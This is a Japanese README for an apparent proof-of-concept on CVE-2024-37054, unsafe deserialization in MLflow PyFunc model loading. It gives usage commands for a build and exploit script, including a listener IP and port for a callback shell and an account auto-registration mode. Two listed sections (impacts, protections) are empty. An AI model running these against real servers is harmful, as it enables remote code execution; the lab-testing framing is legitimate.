
このリポジトリは、MLflow PyFunc モデル処理に影響を与える安全でないデシリアライゼーションの問題である CVE-2024-37054 に関する調査を文書化したものです。
影響を受ける MLflow のバージョンでは、信頼できない PyFunc モデルを読み込むと、Python のデシリアライゼーションロジックが攻撃者制御の動作を含むシリアライズされたオブジェクトを処理する可能性があります。信頼できないアーティファクトが読み込まれた場合、モデル読み込み操作を実行しているユーザーまたはサービスの権限でコードが実行される可能性があります。
公開アドバイザリで報告されている影響を受けるバージョンは以下の通りです:
MLflow 0.9.0 through 2.14.1
主なリスクは単に「モデルをアップロードする」ことではありません。危険が生じるのは、アプリケーション、アナリスト、ワーカー、または ML プラットフォームが信頼できないシリアライズされたモデルアーティファクトを読み込むときです。
潜在的な影響には以下が含まれます:
build_model.py
プライベートで許可されたラボ環境で使用するための、制御されたテストモデルアーティファクトを作成します。
exploit.py
許可されたトレーニング環境で脆弱性パスを検証するためだけに使用される、プライベートな概念実証自動化ツールです。このリポジトリには、実際のターゲット、認証情報、セッショントークン、VPN 設定ファイル、または破壊的なペイロードは含まれていません。
この概念実証は、許可されたラボ環境でのみ実行してください。
制御されたモデルアーティファクトを作成します:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
まだ認証済みセッションを持っていない場合は、自動登録モードを使用します:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
このモードは、一時的なラボアカウントを作成し、アプリケーションに対して認証を行い、モデル登録と検証のワークフローを続行します。
すでに有効な許可済みセッションを持っている場合は、それを直接渡します:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
置き換え:
<YOUR_IP> は、許可されたラボターゲットから到達可能な IP アドレスに置き換えます。4444 は、ラボで使用するリスナーポートに置き換えます。<SESSION_TOKEN> は、有効な許可済みセッション値に置き換えます。実際のセッショントークン、認証情報、VPN ファイル、ターゲットアドレス、またはコールバックの詳細を公開しないでください。
MLflow を使用している組織は、モデルアーティファクトの出所と完全性が検証されていない限り、それらを信頼できない入力として扱うべきです。
推奨される保護措置:
このプロジェクトは、防御的研究、教育、および許可されたセキュリティテストのみを目的としています。概念実証ワークフローは、制御されたトレーニング環境でのみ評価されました。明示的な書面による許可なく、システム、アカウント、サービス、またはネットワークに対してこの脆弱性をテストしないでください。